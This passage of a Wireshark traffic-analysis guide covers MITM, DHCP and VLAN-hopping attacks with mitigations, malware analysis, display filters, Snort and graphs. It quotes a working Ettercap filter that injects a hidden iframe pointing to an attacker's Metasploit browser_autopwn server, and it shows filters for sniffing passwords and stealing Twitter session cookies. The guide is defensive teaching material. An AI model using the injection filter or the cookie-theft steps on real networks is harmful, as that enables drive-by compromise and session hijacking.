Windowsecurity: DNS Spoofing
http://www.windowsecurity.com/articles/Understanding-Man-in-the-Middle-Attacks-ARP-Part2.html


24

From now on the attacker can manipulate DNS responses in a a way transparent to the
user:

Figure 20- Ettercap

An offensive method, published in hackyeah, involves using Ettercap filters to
manipulate HTTP requests.
The attack takes advantage of a DNS or an ARP Spoof as detailed above and consists
of inserting a hidden iframe in each request that contains a <body>; tag, this iframe
points to the attacker address whilst executing the module browser_autopwn of
Metasploit. The exact code is detailed below, supplied by hackyeah 22, to create a filter
that injects an iframe in the HTTP responses:
#--Inject Iframe-if (ip.proto == TCP && ip.dst != '192.168.254.211' && tcp.src == 80 ||
tcp.src == 8080) {
if (search(DATA.data, "<body>")){
#Replace it with the body tag and an iframe to attacking webpage
replace("<body>","<body><iframe src='http://192.168.254.211' width=0
height=0 />");
msg("iframe injected after <body>n");
}
if (search(DATA.data, "<body>")){
replace("<BODY">,"<BODY><IFRAME SRC='http://192.168.254.211' width=0
height=0 />");
msg("iframe injected after <body>n");

After compiling the filter and launching Ettercap, each time the victim makes an HTTP
request, Ettercap replaces "<BODY"> in the server responses with <BODY><IFRAME
SRC='http://192.168.254.211' width=0 height=0 /> forcing it to perform transparent
requests to the attacking machine whilst executing Metasploit.

22

Hackyea: Ettercap filters and Metasploit in “Man in the Middle” scenarios.
http://www.hackyeah.com/2010/10/ettercap-filters-with-metasploit-browser_autopwn/


25

Figure 21- Browser_autopwn

4.4.2.

Mitigation

In addition to the tools previously mentioned, to provide a warning of these situations,
you can use filters in Wireshark that accelerate the search for ACK responses with a
DNS or gateway different from the one configured on your DHCP server:
bootp.option.value == 05 && (frame[309:6] != 03:04:c0:a8:fe:fe ||
06:04:c0:a8:fe:d3 )

frame[315:6] ==

Figure 22- DHCP Filter

That way, you can configure it to display the segments sent by the DHCP server that
do not contain the IP gateway or legitimate DNS server.
Another type of attack similar to ARP packet flooding consists of sending a multitude of
DHCP DISCOVER packets using randomly-sourced MACs with the objective of
finishing-up the range of IP addresses available in the DHCP server (DHCP
Exhaustion). Detecting this flooding is much easier than the previous case due to the
excessive amount of DHCP DISCOVER packets sent per second:

Figure 23- DHCP Exhaustion

One possible solution to these problems would be to configure ACLs in the switch
stopping the access ports destined to user machines sending UDP packets with source
ports 67 thus avoiding this type of use of illegal DHCP servers in your network.
Furthermore, there are tools that detect machines with DHCP services in execution.


26

An example of these are Gobbler, dhcp_probe or Rogue detect. To mitigate DHCP
DISCOVER flooding attacks, more sophisticated measures such as DHCP SNOOPING
are necessary23.
Another set of more sophisticated attacks can be performed with Yersinia or Loki24
(presented in the Blackhat this year) and take advantage of weak router/switch
configurations to launch attacks such as VLAN Hopping, BPDU Spoof, spoof of Root
Bridge in SPT (Spanning Tree Protocol) or even layer 3 attacks in routing protocols
such as RIP, BGP or OSPF. Despite being complex, an exhaustive analysis of traffic
and the use of filters in a certain way is very useful when detecting and locating the
source of the problem.

4.5.

VLAN HOPPING

This is an attack on the network resources that support a VLAN. There are two ways
this attack is performed: switch spoof and/or double tagging the packets.
The aim of the attacker with this methods is to gain access to the traffic of other VLANs
different from where the attacker device is located that, under normal conditions, would
not be available.

4.5.1.

Switch spoof attacks

For this attack type to be successful, the attacking machine must be configured so that
it is able to handle tags and trunking protocols used between network switches
(protocols 802.1Q/ISL and DTP), pretending to be just one more switch on the network.
That way, it gains access to the traffic on the rest of the network because the machine
becomes a member of all the VLAN if the switch ports are configured as dynamic auto
or desirable.
In the former case (dynamic auto), the port just listens to DTP packets coming from
neighbour switches that intend to create a trunk link. Whilst in the latter case (dynamic
desirable), it is the port itself that is interested in creating this link by sending DTP
negotiating packets to neighbour switches.
In this scenario, an attacker can create DTP specially-designed packets and send them
to the switch making it look as if it is another switch that intends to negotiate a trunk
link. Far from being complicated, Yersinia incorporates this functionality enabling it to
negotiate the configuration of the trunk port.

23

24

Introduction to Loki: BlackHat 2010
https://media.blackhat.com/bh-us-10/whitepapers/Rey_Mende/BlackHat-USA-2010-Mende-Graf-Reyloki_v09-wp.pdf

27

Figure24- Negotiating Trunks

4.5.2.

Double-tagging attack

In this type of attack, the attacking machine inserts two VLAN tags before the packets
being transmitted. Since switches only perform one level of unpacking, the first header
corresponding to the VLAN to which the attacker is actually a member is rejected by
the first switch and the packet is sent afterwards, but the second, false VLAN header
destined to a machine of the VLAN victim remains valid.
The attack is successful only if the native VLAN of the trunk is the same as the one that
belongs to the attacker and only traffic in one direction is admitted (from that attacker to
the victim).
In this case, identifying the attacker using Wireshark is possible if you capture attacker
VLAN packets, given that they have the “double header” they are easy to detect:

Figure 25- Vlan Hopping

This example shows the “modification” of the packet by the attacker and the elimination
of the header in S1, remaining on the network correctly configured to attain the victim
machine in the V10 through S2.


28

Finally, you can view double headers by capturing the VLAN of the attacker:

Figure 26- Double Headers

4.5.3.

Mitigation

In the first case (switch spoof), it is recommended that you configure the ports given to
users as access ports and configure the DTP state as nonnegotiate so that trunk
negotiations are ignored.
To resist double-tag attacks, the best solution is to configure the access ports in a
VLAN different from that used as native in the trunk link. That is, if you configure VLAN
10 as native in the ports configured as trunk, you can use another, different VLAN for
access ports25.

4.6.

ANALYSING MALWARE

The malware universe is infinite and is in constant evolution. Antivirus systems
implemented in e-mail or corporate servers provide reasonably acceptable results but
are always one step behind new threats and therefore are not 100% effective; there are
always cases where malware eludes these systems and reaches the end-user machine
and manages to execute.
Once a machine is infected, it is essential that you act quickly to minimise the impact
that it could have on the system itself and the rest of the organisation, and it is crucial
to identify what type of threat it is and eliminate it.

25

Author: Eric Vyncke, Christopher Paggen
ISBN: 978-1-58705-256-9 Auto


29

4.6.1.

Practical Example

To understand this example, suppose that you have been told about a machine that
has been compromised and you need to identify the entry vector and type of malware
involved. To do this, use a network traffic capture, obtained during the window of time
in which the incident occurred. Open it with Wireshark to view the contents. By isolating
the IP addresses involved, you can try to identify what software has been downloaded
taking advantage of the export object tool, by selecting File >> Export >> Objects >>
HTTP:

Figure 27- Export Objects

A window opens with all HTTP requests detected in the traffic capture, along with the
name of each object that has been downloaded:

Figure 28- List of HTTP Objects

From this window you can download the file that you want to analyse, or download all
when you click “Save All”. In this case, download the file called fcexploit.pdf and save it
locally. You assume that this file is malicious, so do not open or execute it. However,
you now have a possible malware sample you can analyse with your antivirus system
or send it to be analysed online. One of the pages offers the possibility to examine
suspect files using different antivirus engines in VirusTotal (http://www.virustotal.com).


30

In this case, the result obtained for the download file was positive indicating the name
of the virus which makes it possible for you to look for specific information to eliminate
it and in parallel inform your antivirus provider so that they can generate a detection
signature if not detected26.

Figure29- VirusTotal Result27

Should you not use HTTP protocols to download malware, you can obtain the binary
code although this process is slightly more complex.

26

The Honeynet Project
http://www.honeynet.org/challenges/2010_6_malicious_pdf
27

Online analysis with Virus Total:
http://www.virustotal.com/


31

If you suspect that there has been a download of malicious code to a machine, identify
the packet that initiated the download and filter this communication, selecting the
packet and clicking Analyze >> Follow TCP Stream.
If you select the filter so that it only displays the traffic sent by the server, you can save
this information in RAW format and analyse it as explained above.

Figure 30- Save suspect code

4.6.2.

Mitigation

This type of incident is difficult to mitigate. In general, it is recommended that the
systems and applications be kept as up-to-date as possible, making the users aware of
the dangers that are involved when they download files from unknown or unreliable
sources as e-mail attachments, web links, P2P applications, etc.


32

5.

FILTERS

Filters are, without a doubt, the cornerstone of Wireshark. When a large amount of data
is captured, the filters enable you to view only the packets that match your search
criteria. Filters can be defined as capture filters and view filters28 depending on the
ruling-syntax of each one29.
Capture filters directly support the libpcap libraries, just like tcpdump or Snort, and
depend on them to define the filters. That is why you can use Wireshark to open files
generated by tcpdump or by the applications that use them.
View filters, on the other hand, follow the nomenclature of the application itself and are
used to filter results on packets that have been captured previously. If you are not
familiar with these types of rules, the button Filters and Expressions, located on both
sides of the search input helps you search for the packets you want using the
appropriate syntax.
Several examples of filters are given below30 to show you the possibilities that these
filters offer you both for analysing traffic and resolving network problems, as well as for
auditing and other pentesting tools.

Example 1: UDP Packets
Suppose that you want to view UDP packets that contain a byte sequence of 0x90,
0x90, 0x90, 0x03 from the 8th byte (that is, just after the header), perhaps because
certain malware uses this sequence:
udp[8:4]==90:90:90:03

28

Packetlife.net: Summary table of view filters in Wireshark.
http://packetlife.net/media/library/13/Wireshark_Display_Filters.pdf
29

Seguridadyredes.nireblog: Capture and view filters.
http://seguridadyredes.nireblog.com/post/2008/03/24/analisis-de-red-con-wireshark-filtros-de-captura-yvisualizacian
30

Wireshark: Practical examples for capturing traffic.
http://wiki.wireshark.org/SampleCaptures


33

Example 2: ICMP Packets
If you decide to use Wireshark due to a frequent loss in connection with your server for
no apparent reason or simply notice a decrease in the transfer rate, you should take a
closer look at the appearance frequency of ICMP packets and even filter by fields
type/code that could be used in an attack that have these symptoms. The following
example shows ICMP Protocol Unreachable or Source Quench error messages,
commonly used in Connection-blind-reset or Blind-throughput-reduction attacks,
respectively.
(icmp.type == 3 && icmp.code == 2) || (icmp.type == 4 && icmp.code == 0)

Example 3: Retransmissions
There are also filters that show duplicated packets and corresponding retransmissions.
These can make a lot of "noise" in your capture, so you may occasionally need to filter
them to obtain a cleaner analysis:
not tcp.analysis.duplicate_ack and not tcp.analysis.retransmission

Example 4: Operator contains
One of the operators that you can get a lot out of is contains. You can use this operator
to search for literal text strings in packets received. That way, if you use the following
filter:
(pop contains "PASS") || (http contains "password")
the PASS and password string in the respective protocols indicated are filtered. The
results are detailed in the following figure, which represents the PDU for the selected
packet in hexadecimal format and the unprintable characters are represented with a
point:

Figure 31- User/Password Dump


34

Example 5: Directive frame
If you want to search the segments that contain a specific string you can use the clause
frame:
frame contains “cmd”

Example 6: Standard expressions
To perform a more specific search, you can use the primitive matches in the same way
as contains, with the difference that this accepts the same syntax as the standard
expressions in Perl (PCRE) and therefore provides more flexible searches.
For example, if you want to show all URI resource requests containing the word “login”
and “=user” you write:
http.request.uri matches "login.*=user"
Using the string ".*" you can specify a random set of characters of unknown length, that
can even be 0, amongst other patterns. Knowing the syntax of these expressions could
save you a lot of time when you have to locate text patterns.
There are a number of sources where you can find all type of filters as well as practical
examples for analysing traffic. Some of them are on Wireshark wiki, the Alfon blog 31 or
the Juan Garrido blog32.

Example 7: Scanning netbios ports
Here is an example that enables you to detect the behaviour common to worms such
as the constant scanning of netbios ports:
dst port 135 or dst port 445 or dst port 1433 and tcp[tcpfl ags] & (tcp-syn) != 0 and
tcp[tcpflags] & (tcp-ack) = 0 and src net 192.168.0.0/24

31

Seguridadyredes.nireblog Blog
http://seguridadyredes.nireblog.com
32

Windowstips.wordpress Blog
https://windowstips.wordpress.com/


35

Example 8: ARP packets (Aircrack-ng)
Let's look at another example, in this case in a wireless environment where you are
performing an audit with the aircrack-ng suite and looking for ARP request packets and
their corresponding replies (ARP reply) in ethernet clients and wireless clients for their
subsequent injection (attack 2 with airplay)33:
(wlan.bssid == 00:11:22:33:44:55 and (frame.pkt_len>=68 and frame.pkt_len le 86)
and (wlan.da == ff:ff:ff:ff:ff:ff or wlan.sa == 00:22:33:44:55:66))

Example 9: Cookies
Despite the commotion caused by Firesheep34 for the theft of cookies from Firefox
itself, you can see it is not so difficult with Wireshark to attain the same results, thanks
to the granularity of its filters. If you want to capture Twitter sessions whose cookies
travel in plain text, you could use the following filter:
http.cookie and http.host contains "twitter"
After obtaining the cookie from the session, you could get help from tools such as
Tamper Data, Paros, Greasemonkey, etc., or, by way of example, with the plugin for
Firefox "Live HTTP Headers" to paste and resend previously captured HTTP headers.

Figure 32- Stealing Twitter Cookies

33

Aircrack-ng: Capturing ARP packets
http://www.aircrack-ng.org/doku.php?id=es:how_to_crack_wep_via_a_wireless_client
34

Elladodelmal: “Man in the Middle” with ARP-Spoofing and HTTP traffic filtering.
http://www.elladodelmal.com/2010/11/pastorcillos-venid-por-grifa.html


36

Example 10: HTTP Objects
Filters give you excellent tracking information on your communications system, as well
as being an ideal compliment to analyse a multitude of attacks. If you have the skills to
use them, identifying the source of the problem is a lot easier. An example of this is the
http.content_type filter that enables you to extract different data flows that occur during
an HTTP connection (text/html, application/zip, audio/mpeg, image/gif, etc.) and is very
useful in locating malware, exploits and other attacks embedded in this protocol35:

Figure 33- JavaScript Object

The graphical version of this filter to recover HTTP objects can be found in File >>
Export >> Object >> HTTP, enabling you to save the object you want on your machine.

Figure 34- HTTP Objects

35

Windowstips.wordpress: Analysing Network Traffic.
https://windowstips.wordpress.com/2009/09/21/analizando-trafico-de-red-i-de-iii/


37

6.

FOLLOW TCP STREAM

This is, without a doubt, another excellent utility available in Wireshark that extracts the
data flow established in TCP sessions.
Suppose you want to analyse the send/response of your Apache for a particular host or
that you want to purge the functions of a new software based on sockets or test an
application using a fuzzer. For this, all you need to do is select a packet that is part of
the flow, right-click and select the option Follow TCP Stream.
Immediately afterwards, a new window opens displaying the extract of this session and
its size, using different colours to show the flow direction of each communication. You
also have the option of viewing one direction of the connection, as well as the way in
which you want this information represented (EBCDIC, Hex Dump, C Array or Raw).
The following capture corresponds to an exploit launched against an FTP server FTP
trying to generate a buffer overflow in one of its entry parameters, in this case the
USER parameter.

Figure 35- Follow TCP Stream

The example shows the payload used in an alphanumeric encoder. If you want to
perform a more detailed analysis and determine the intentions of the attacker, you can
export the code and use a debugger such as Olly or any packet disassembler to
analyse the code.

Figure 36- Payload


38

Another example is shown in the following image. This corresponds to a Post request
performed by Vinself36, a backdoor that uses HTTP to transport its own blind protocol
to avoid the IDS. It was analysed recently in Fireeye:

Figure 37- Payload (blog image.fireeye.com)

You can see the potential of Wireshark with this functionality and that it is not limited to
superficial analysis of TCP connections and can be of great help in other fields of
malware analysis37, purging of unknown network protocols, errors, etc.

36

Fireeye: Vinself, a new backdoor in town.
http://blog.fireeye.com/research/2010/11/winself-a-new-backdoor-in-town.html
37

Conexioninversa: The Zombies are coming.
http://conexioninversa.blogspot.com/2010/06/que-vienen-los-zombis-historia-de-una.html


39

7.

EXPERT INFO
7.1.

INTRODUCTION

The Expert Info functionality is quite similar to an anomaly register that automatically
detects WireShare in a capture file. When you have a capture with a high number of
packets and you are not searching for a specific situation, rather you want to detect the
most significant attacks, you cannot limit your activity to filters. To make the
identification process of network anomalies easier, you can use the option Expert Info.
The main idea of this tool is to show unusual behaviour or anomaly situations on the
network, such as retransmissions or fragmentation, techniques used to avoid the IDS
or fool the systems. This way, you can identify problems with the network more quickly
than if you did it manually for all the set of captured packets.
This information is only a recommendation. A lack of results does not imply that
there are no problems.
The number of entries shown depends in large part on the protocol used. Whilst
protocols commonly used such as TCP/IP show a lot of detailed information, others do
not show anything.

7.2.
7.2.1.

USER INTERFACE
Execution

The Experts Info graphical user interface (GUI) is described below. To open the
window, use Analyze >> Expert Info or click the circle (grey, cyan, yellow or red) in the
lower portion of the window of the application to the left.

Figure 38- Expert Info GUI


40

Each entry of the result of the analysis contains the following information: critical,
group, protocol and summary38. The different levels used are the following, with the
colour used in the GUI in parenthesis:
•

Chat (grey): information about normal flows. This is normal information that
helps you understand what has happened, such as a TCP segment with SYN
flag.

•

Note (cyan): noteworthy situations outside normal functions. For example, an
application returns a common error code such as HTTP 404.

•

Warning (yellow): indicates to be alert. You must take special care with
packets marked in this way, as it could be an attack attempt; for example, an
application returns an error code with a connection problem.

•

Error (red): serious problems with badly formatted packets.

Group types are the following:
•

Checksum: a checksum is not valid.

•

Sequence: suspect protocol sequences; for example, the sequence number is
not continuous or a retransmission has been detected.

•

Response Code: problems with application response codes; for example, the
response "HTTP 404 Page not found".

•

Request Code: a request to an application. For example, "File Handle == x)".
Normally shown as critical code, Chat.

•

No decryption: incomplete dissection or data that cannot be decrypted for
other reasons.

•

Assembling: problems with reassembling. For example, not all fragments exist
or an exception has occurred during the process.

•

Protocol: violation of protocol specification as for example invalid field values
or illegal lengths.

•

Badly formatted: badly formatted packets or during analysis an error occurs
and the analysis aborts.

38

Expert Info: Chapter 7. Advanced Topics
http://www.wireshark.org/docs/wsug_html_chunked/ChAdvExpert.html

41

8.

USE OF EXTERNAL TOOLS
8.1.

SNORT

When the volume of traffic intercepted is high and makes performing the manual
analysis of a network capture very labour intensive, one way of quickly processing this
information to identify attacks or set a starting point of where to start the investigation is
to use automatic analysis with external tools.
One of the most widely used applications for the detection of system attacks is Snort.
Snort is an open-code IDS (Intrusion Detection System) based on signatures, that
analyses the traffic in real time and compares it against a known signature repository,
warning when packets are suspect whether for its content or structure.
This could be useful when analysing a previously performed traffic capture that is too
big to be analysed manually. To process the PCAP file via Snort, execute the following
command:

Figure 39- Analysis of a pcap file with Snort

With the option “-r” you are telling Snort not to capture the traffic from a network card
rather from a .pcap file, and with the option “-c” the configuration file to be used is
referenced. Option “-A console” indicates that the warnings are to be displayed on the
terminal console, instead of what is defined in the configuration so that detected alerts
are viewed more easily. If an attack or suspect packet is discovered, an alert similar to
the following screen shot displays with a summary and information about this alert:

Figure 40- Summary of Snort alert

Figure 41- Snort Output

In the previous example, you can see that an “ET ATTACK RESPONSE
Mainz/Bielefeld Shellcode” type alert was generated on the date indicated.
Based on this, you can open the capture in Wireshark and analyse the packets
captured in this period of time. Furthermore, as the alert indicates the type of attack
you can look for more information more quickly.


42

8.1.1.

Mitigation

Performing a permanent capture of traffic for subsequent analysis is not viable if the
volume of the traffic is high.
However, you can perform the same process if an infection with attempt to propagate
across the network is detected. You can capture the traffic whilst the worm is active
and analyse it with Snort to try and identify what the virus is and how it propagates,
should Snort have it identified in its set of signatures.

8.1.2.

Converting formats

Another source of information from which you can extract information, if you have it, is
the IDS sensor of Snort. This sensor can register the packets generating alerts in a
database or in a binary file format very quickly, called Unified2.
This format is not understood by Wireshark, but you can use a tool that converts this
file into a type of .pcap. To do this, use Barnyard2, an agent normally used to process
these Unified2 files and insert them in the database increasing the performance of
Snort for processing greater volumes of traffic
You can configure barnyard2 so that your output is a PCAP file, uncommenting the
following line in the barnyard2.conf file:
log_tcpdump: <file_prefix>.pcap
and execute it in the following way:

Figure 42- Barnyard2

Once you have done this, the capture can be analysed by Wireshark. It is important to
remember that Snort only registers the packets that generate the alert, so you do not
have a complete track of the sessions and conversations between client and server.
however, it helps in identifying packets containing malicious code or other types of
attacks.

8.2.

SCRIPTS

In the same way as you use Snort as a support tool to help with situations when there
is a high amount of data, there are a great many scripts that can also be very useful if
you need to localise a specific attack type or network anomaly.


43

For example, there is a script in python sqlinject-finder.py that accepts as input
parameter a .pcap file and enables you to reconstruct SQL injection attacks with
parameters GET/POST. The output generated shows the attacking IP, the web server,
the packet number in which the suspect SQL sentence was located (and this enables
you to analyse the attack in more detail in Wireshark), the parameter, the value used,
etc.

Figure43- SQL Injection

Another tool that could be useful is P0f (Passive OS Fingerprinting software) for
analysing .pcap or .cap files generated by Wireshark and view some interesting data
about packets as the operating system or distance, as well as highlight scanning
attempts by tools such as Nmap.
The following capture shows the output generated by P0f (registro.log) after passing it
as traffic capture parameter and where you can view the packets used by Nmap from a
Linx 2.6 machine to common services.

Figure 44- Capture with P0f


44

9.

GRAPHS

Wireshark offers a wide range of options to evaluate the performance of your network
graphically based on a multiple variables. All of this is highlighted in two graphs that
can be extremely useful. You have seen how you can track a TCP session. You can do
the same in a graphical way to view the existing relationship between time/sequence
number in a data flow.
This graphic is called a Time Sequence Graph
(Steven) and can be found in Statistics >>
TCP Stream Graph (just like in the previous
representation, you have to select a packet
that is of the session).
Before this graph is explained it would be
useful to remind you of some details about ICP
functionality:

Figure 45- Graph Steven

•

• Wh
en communication is established to make a connection, the operating system
assigns a random sequence number to the first byte of the data flow (ISN) and
this is taken as a reference to represent the rest of the bytes of this flow.
When an ACK is received, it contains the sequence number relating to the
following byte to be received.

By default, Wireshark and Tshark convert all sequence numbers into relative numbers
to facilitate comprehension and tracking of the packs involved in a TCP session. This
means that the sequence number corresponding to the first packet in a TCP
connection always begins with 0 and not from a random value 0 - (2^32)-1) generated
by the TCP/IP stack of the operating system. If you need to view the absolute value,
that is the real value of the SEQ and ACK fields assigned to each packet you need to
deactivate the option “Relative sequence numbers and window scaling” from the menu
Edit- >Preferences.

Figure 46- Relative sequence number


45

If you know this, it is easier to interpret the graph. Under ideal conditions, the
representation of your connection will show a line growing over time showing the
efficient performance your TCP connection.
However, on some occasions you will find gaps and jumps that interrupt the continuity
of the line.
This is normally due to a resend of data as a consequence of lost segments, ack
duplications, expired timeouts, etc. This graph gives you a very valuable source of
information to detect anomalies in the behaviour of certain connections.
Another of the graphs that you can take advantage of is the one on input/output. You
can find it in Statistics >> I/O Graph. If you take a look at the lower portion, you can find
multiple inputs to enter filters in the same way as explained earlier. As you enter filters,
you will see their graphical representation in different colours. If you see lines that
overlap and that are difficult to read, you can click Style and find another representation
type; for example, vertical bars to help you understand the information better.
In Figure 47- I/O Graph you can see a set of protocols that have been broken up to see
its proportion in respect to the total captured traffic. On the one hand, you have SMBfiltered traffic, broadcast diffusions and input/output traffic from your file server:

Figure 47- I/O Graph

If you want more concise data on the percentage of use of each protocol captured, you
can view it in Statistics >> Protocol Hierarchy, where the hierarchy and precedence of
each protocol, sent/received packets and their size are shown.


46

Programs such as Xplico39 or NetworkMiner can also help you in reconstructing
sessions, creating statistics or detecting anomalies in the network from .pcap files
generated by Wireshark when the value of traffic captured is high. This is useful to
reconstruct VoIP calls40 (SIP), extract the mail content (POP, IMAP, SMTP),
reconstruct downloaded files, view videos .flv, etc.

Figure 48- Xplico

39

Xplico: Xplico Documentation.
http://www.xplico.org/docs

40

Securityartwork: Eavesdropping in VoIP.
http://www.securityartwork.es/2008/03/14/eavesdropping-en-voip/


47

10. CONCLUSIONS
As you have seen, Wireshark comes with countless functions that help you analyse
multiple network problems; not only those caused by poor configuration or device
failures, but also a wide range of attacks -external and internal- that come in a variety
of forms.
The first step in resolving network problems consists of an exhaustive analysis of traffic
for those segments or areas that experience lower performance levels or quite simply
stop working. It is a good idea to make the network administrators aware of the
importance of using this type of tool, as it is a key utility to help find the source of some
problems that would take a great deal of time to discover by other means, with the
repercussion that comes with it in terms of availability and information confidentially
taking precedence over the rest of your services.
This document describes several ways of analysing traffic with Wireshark, depending
on the circumstances and the available means, as well as providing examples of some
common attacks used on local area networks and identifying DDoS attacks and certain
measures to mitigate or at least moderate the impact that these generate on the
performance of your network.
It has also provided examples with filters through which you can purge and perform
more rigourous analysis of traffic, as well as other Wireshark functions (Follow TCP
Stream, Expert Info, etc). You have also seen how some external tools like Snort or
certain scripts can be extremely useful as a compliment to Wireshark and can help you
return or detect some of the attacks that are predominant today.
Lastly, you have seen how to use graphs to interpret the benefits and efficiency of your
network in Wireshark.
Wireshark, apart from being one of the best protocol analysers today, is an excellent
source of knowledge for any network or communications enthusiast.


48

11. INFORMATION SOURCES
Wireshark Documentation
http://www.wireshark.org/docs/wsug_html_chunked/index.html
Seguridadyredes.nireblog Blog
http://seguridadyredes.nireblog.com
Windowstips.wordpress Blog
https://windowstips.wordpress.com/
Hackyea: Ettercap filters and Metasploit in “Man in the Middle” scenarios.
http://www.hackyeah.com/2010/10/ettercap-filters-with-metasploit-browser_autopwn/
Elladodelmal. Playing with LDAP.
http://www.elladodelmal.com/2008/04/jugando-con-ldap-i-de-iii.html
Elladodelmal: “Man in the Middle” with ARP-Spoofing and HTTP traffic filtering.
http://www.elladodelmal.com/2010/11/pastorcillos-venid-por-grifa.html
Securitybydefault: DNS protocol weaknesses.
http://www.securitybydefault.com/2008/07/dns-pasat-al-tcp.html
Pentester: IP Fragmentation Overlap & Fragroute.
http://www.pentester.es/2010/06/ip-fragmentation-overlap-fragroute.html
Windowstips.wordpress: Analysing Network Traffic.
https://windowstips.wordpress.com/2009/09/21/analizando-trafico-de-red-i-de-iii/
Securityartwork: Eavesdropping in VoIP.
http://www.securityartwork.es/2008/03/14/eavesdropping-en-voip/
Securityartwork: Complimenting our IDs with rule2alert.
http://www.securityartwork.es/2010/10/25/afinando-nuestro-ids-con-rule2alert/
Conexioninversa: The Zombies are coming.
http://conexioninversa.blogspot.com/2010/06/que-vienen-los-zombis-historia-de-una.html
Cisco: ARP infection and mitigation measures.
http://www.cisco.com/en/US/prod/collateral/switches/ps5718/ps708/white_paper_c11_603839.html
Cisco: DHCP attacks and mitigation measures.
http://www.cisco.com/en/US/prod/collateral/switches/ps5718/ps708/white_Paper_C11_603833.html
Cisco: Configuration of the security measures for Layer 2 devices.
http://www.cisco.com/en/US/products/hw/switches/ps5023/products_configuration_example09186a00807c
4101.shtml
Cisco: Mini Protocol Analyser
https://www.cisco.com/en/US/docs/routers/7600/ios/12.2SR/configuration/guide/mpa.html
Cisco: VACL Configuration
https://www.cisco.com/en/US/docs/switches/lan/catalyst6500/ios/12.2SXF/native/configuration/guide/vacl.
html
Windowsecurity: DNS Spoofing
http://www.windowsecurity.com/articles/Understanding-Man-in-the-Middle-Attacks-ARP-Part2.html


49

Aircrack-ng: Capturing ARP packets
http://www.aircrack-ng.org/doku.php?id=es:how_to_crack_wep_via_a_wireless_client
S21sec: Remote network captures.
http://blog.s21sec.com/2009/10/capturas-de-red-remotas-para.html
Blog.c22: “Man in the middle” and printers.
http://blog.c22.cc/2010/11/23/printer-mitm-revisited-prn-2-me/
Phenoelit-us: Suite of tools to audit a variety of network protocols.
http://phenoelit-us.org/irpas/docu.html
Lovemytool. Geolocalisation with Wireshark.
http://www.lovemytool.com/blog/2009/07/joke_snelders2.html
Packetlife.net: Summary table of view filters in Wireshark.
http://packetlife.net/media/library/13/Wireshark_Display_Filters.pdf
Seguridadyredes.nireblog: Capture and view filters.
http://seguridadyredes.nireblog.com/post/2008/03/24/analisis-de-red-con-wireshark-filtros-de-captura-yvisualizacian
Xplico: Xplico Documentation.
http://www.xplico.org/docs
Docstoc: Backtrack Italy- Use of file2cable to falsify ARP packets.
http://pool.backtrack.it/BackTrack_4/Privilege_Escalation/Sniffers/Wireshark.pdf
Seguridadyredes: Wireshark/Tshark. Capturing network impressions.
http://seguridadyredes.nireblog.com/post/2010/03/24/wireshark-tshark-capturando-impresiones-en-red
Urfix: 9 ways to take a huge Tcpdump
http://blog.urfix.com/9-ways-huge-tcpdump/
Fireeye: Vinself, a new backdoor in town.
http://blog.fireeye.com/research/2010/11/winself-a-new-backdoor-in-town.html
Recommended Book: LAN Switch Security Hackers Switches
http://www.amazon.com/LAN-Switch-Security-Hackers-Switches/dp/1587052563
INTECO: Free protocol analysis tools.
http://cert.inteco.es/software/Proteccion/utiles_gratuitos/Utiles_gratuitos_listado/?idLabel=2230152&idUser
=&idPlatform=
Recommended Book: Wireshark Network Analysis.
http://www.amazon.com/Wireshark-Network-Analysis-Official-Certified/dp/1893939995
Introduction to Loki:
https://media.blackhat.com/bh-us-10/whitepapers/Rey_Mende/BlackHat-USA-2010-Mende-Graf-Reyloki_v09-wp.pdf
Daboweb: Wireshark Use and Installation Tutorial
http://www.daboweb.com/2010/12/01/herramientas-para-la-interpretacion-de-capturas-de-red-610/#more8763
Cisco: Configuring Port-Based Traffic Control
http://www.cisco.com/en/US/docs/switches/lan/catalyst3550/software/release/12.2_25_see/configuration/g
uide/swtrafc.html


50

Cisco: Configuring Isolated Private VLANs
http://www.cisco.com/en/US/tech/tk389/tk814/technologies_configuration_example09186a008017acad.sht
ml
Cisco: Demilitarised Zone (DMZ) Port
http://www.cisco.com/en/US/docs/ios/12_3/12_3x/12_3xr/dmz_port.html
Seguridadyredes: Detecting sniffers in switched networks.
http://seguridadyredes.nireblog.com/post/2009/11/27/detectando-sniffers-en-nuestra-red-redesconmutadas-y-no-conmutadas-actualizacion
Wireshark: Practical examples for capturing traffic.
http://wiki.wireshark.org/SampleCaptures
The Honeynet Project
http://www.honeynet.org/challenges/2010_6_malicious_pdf
Online virus analysis with Virus Total
http://www.virustotal.com/
Layer 7 Attacks: iptables and hashlimit
http://www.sectechno.com/2011/01/25/preventing-layer-7-ddos-attack/
Securitybydefault: Slowloris, Dos for Apache
http://www.securitybydefault.com/2009/07/slowloris-dos-para-apache.html
Securitybydefault: Top recommended modules for Apache
http://www.securitybydefault.com/2010/08/top-modulos-recomendados-para-apache.html
Owasp: HTTP Post Tool
http://www.owasp.org/index.php/OWASP_HTTP_Post_Tool


51

Wireshark Traffic Analysis

More Related Content

What's hot (20)

Viewers also liked (20)

Similar to Wireshark Traffic Analysis (20)

More from David Sweigert (20)

Recently uploaded (20)

Wireshark Traffic Analysis